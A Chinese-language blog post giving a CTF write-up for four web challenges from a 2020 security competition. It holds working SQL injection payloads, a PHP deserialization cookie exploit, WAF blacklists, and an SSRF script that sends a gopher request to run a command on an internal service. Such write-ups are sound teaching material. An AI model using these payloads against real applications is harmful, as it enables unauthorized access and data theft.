c1ay's blog

2020全国电信和互联网行业网络安全竞赛wp

字数统计: 1.7k阅读时长: 9 min
2020/12/07 Share

补一下,11月份的比赛,太忙一直没时间更新

easy_sql

很明显的注入,但是过滤了一些关键字,比如information、sys等,导致获取不到表名

通过:

uname=1') and updatexml(1,concat(0x3a,(select * from flag)),1);-- -&passwd=1

可以发现存在名为flag表,并且可以获取到里面的数据

mark

但是updatexml这种报错注入方式显示的信息有长度限制,而且这里不知道flag表当中flag的列名,关于无列名注入的问题,直接用子查询就能绕过

获取完整的flag:

uname=1') and updatexml(1,concat(0x3a,(select x.1 from (select * from (select 1)a union select * from flag limit 1,1)x)),1);-- -&passwd=1

mark

uname=1') and updatexml(1,concat(0x3a,(select substr(x.1,32) from (select * from (select 1)a union select * from flag limit 1,1)x)),1);-- -&passwd=1

mark

拼接获得完整的flag:

flag{c7651cb673c911ee8f9977094a220f17}

ezsqli

通过http://121.36.224.156:2333/?hint可以查看提示的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
//a "part" of the source code here
function sqlWaf($s)
{
$filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i';
if (preg_match($filter,$s))
return False;
return True;
}
if (isset($_POST['username']) && isset($_POST['password'])) {
if (!isset($_SESSION['VerifyCode']))
die("?");
$username = strval($_POST['username']);
$password = strval($_POST['password']);
if ( !sqlWaf($password) )
alertMes('damn hacker' ,"./index.php");
$sql = "SELECT * FROM users WHERE username='${username}' AND password= '${password}'";
// password format: /[A-Za-z0-9]/
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
if ( $row['username'] === 'admin' && $row['password'] )
{
if ($row['password'] == $password)
{
$message = $FLAG;
} else {
$message = "username or password wrong, are you admin?";
}
} else {
$message = "wrong user";
}
} else {
$message = "user not exist or wrong password";
}
}
?>

查看代码,看到存在sqlWaf函数,该waf函数只对$_POST[password]参数做了检测

通过代码还能看到获取flag的条件,需要SELECT * FROM users WHERE username='$_POST[username]' AND password= '$_POST[password]'查询出的$row['username']为admin,并且$row['password']等于$_POST[password]

这里构造

username=' union select 1,"admin","1"-- -&password=1&captcha=图形验证码

就可以满足要求,此时sql执行的结果为:$row['username']为admin,$row['password']为1,$row['password']$_POST['password']相等

mark

获取到flag:

flag{de3110dce011088cd4add1950a49182f}

warmup

打开后是index.php是一个登录页面

mark

根据题目提示下载源码进行简单的审计

index.php 131-132行

通过addslashes函数对传入的$_POST['username']$_POST['password']进行了处理,防止了sql注入

mark

但是看conn.php当中有可能存在反序列化漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php
include 'flag.php';
class SQL {
public $table = '';
public $username = '';
public $password = '';
public $conn;
public function __construct() {
}
public function connect() {
$this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx");
}
public function check_login(){
$result = $this->query();
if ($result === false) {
die("database error, please check your input");
}
$row = $result->fetch_assoc();
if($row === NULL){
die("username or password incorrect!");
}else if($row['username'] === 'admin'){
$flag = file_get_contents('flag.php');
echo "welcome, admin! this is your flag -> ".$flag;
}else{
echo "welcome! but you are not admin";
}
$result->free();
}
public function query() {
$this->waf();
return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
}
public function waf(){
$blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
foreach ($blacklist as $value) {
if(strripos($this->table, $value)){
die('bad hacker,go out!');
}
}
foreach ($blacklist as $value) {
if(strripos($this->username, $value)){
die('bad hacker,go out!');
}
}
foreach ($blacklist as $value) {
if(strripos($this->password, $value)){
die('bad hacker,go out!');
}
}
}
public function __wakeup(){
if (!isset ($this->conn)) {
$this->connect ();
}
if($this->table){
$this->waf();
}
$this->check_login();
$this->conn->close();
}
}
?>

而在index.php第115行:$last_login_info = unserialize (base64_decode ($_COOKIE['last_login_info']));这段代码刚好可以触发SQL类__wakeup函数,造成反序列化漏洞,导致SQL类当中的属性可控

SQL类当中的waf过滤了很多字符

1
$blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];

但是没有过滤单引号,于是构造出poc

1
2
3
4
5
6
7
8
9
<?php
class SQL
{
public $table="users";
public $username="' or '1";
public $password="' or '1";
}
echo base64_encode(serialize(new SQL()));

获得:

TzozOiJTUUwiOjM6e3M6NToidGFibGUiO3M6NToidXNlcnMiO3M6ODoidXNlcm5hbWUiO3M6NzoiJyBvciAnMSI7czo4OiJwYXNzd29yZCI7czo3OiInIG9yICcxIjt9

访问index.php,传入

Cookie: last_login_info=TzozOiJTUUwiOjM6e3M6NToidGFibGUiO3M6NToidXNlcnMiO3M6ODoidXNlcm5hbWUiO3M6NzoiJyBvciAnMSI7czo4OiJwYXNzd29yZCI7czo3OiInIG9yICcxIjt9

获取到flag

flag{5dd2d5f45fw6e6f11ewf1f224f5121e2}

mark

ssrf

比赛时没做出来,说一下当时的思路

首先file协议读了源码:

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(0);
session_start();
require_once "lib.php";
init();
$is_die = 0;
$is_post = 0;
$die_mess = '';
$url = '';
if (isset($_POST['url']) && isset($_POST['captcha']) && !empty($_POST['url']) && !empty($_POST['captcha']))
{
$url = $_POST['url'];
$captcha = $_POST['captcha'];
$is_post = 1;
if ( $captcha !== $_SESSION['answer'])
{
$die_mess = "wrong captcha";
$is_die = 1;
}
if ( preg_match('/flag|proc|log/i', $url) )
{
$die_mess = "hacker";
$is_die = 1;
}
}
?>

可以看到过滤了flag,其实这里直接url编码一次就可以绕过了,当时没想到这点,感觉这样解应该算是非预期了

lib.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
session_start();
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
return $output;
}
function set_session()
{
$answer = rand(1,100000);
$_SESSION['captcha'] = substr(md5($answer),-6,6);
$_SESSION['answer'] = strval($answer);
}
function destroy_session()
{
$_SESSION = [];
}
function init()
{
if (!isset($_SESSION['captcha']) || !isset($_SESSION['answer']) || isset($_GET['reset']))
{
destroy_session();
set_session();
isset($_GET['reset']) ? die("<script>location.href='./index.php'</script>") : 0;
}
}

正常的请求读取代码,存在ssrf

端口扫描脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import hashlib
import requests
for port in range(8080,65535):
session = requests.Session()
url="http://124.71.187.100:8079/index.php"
headers = {"Origin":"http://124.71.187.100:8079","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0","Connection":"close","Referer":"http://124.71.187.100:8079/index.php","Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Accept-Encoding":"gzip, deflate","Content-Type":"application/x-www-form-urlencoded"}
res=session.get(url,headers=headers).text
code=res.split('== "')[1].split('"')[0]
#print code
for i in range(1,100000):
if hashlib.md5(str(i)).hexdigest()[-6:]==code:
#print i
#paramsPost = {"captcha":"{}".format(i),"url":"file:///var/www/htmlssrf123123/index.php"}
paramsPost = {"captcha":"{}".format(i),"url":"gopher://127.0.0.1:47852/_POST%2520%252Findex.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A47852%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252013%250D%250A%250D%250Acmd%253Dcat%2520%252Ffla%252A%250A"}
response = session.post("http://124.71.187.100:8079/index.php", data=paramsPost)
print response.text
if len(response.text)!=1046:
if "wrong captcha" not in response.text:
#print str(port)+"\n"
#print response.text
break
break

跑了一遍,很慢,啥也扫不到

换个思路,因为目前可以读文件,所以先信息搜集一下,读取apache配置文件:file:///etc/apache2/sites-enabled/000-default.conf

<VirtualHost *:80>
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>  


<VirtualHost *:47852>
        ServerAdmin secret@localhost
        DocumentRoot /var/www/htmlssrf123123
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

读取源码:file:///var/www/htmlssrf123123/index.php

1
2
3
4
5
6
<?php
if(isset($_POST['cmd'])){
exec($_POST['cmd']);
}
?> </div>

由于exec函数没有回显,所以只能通过反弹shell(不出网)、写入文件(/tmp目录都写不进去)、延时盲注(sleep 5存在延时)进行回显,但是前两种方法均一直不能成功,看了好几篇wp也都是二次url编码的非预期解,不知道是不是题目有问题。

CATALOG
  1. 1.
    1. 1.0.1. easy_sql
    2. 1.0.2. ezsqli
    3. 1.0.3. warmup
    4. 1.0.4. ssrf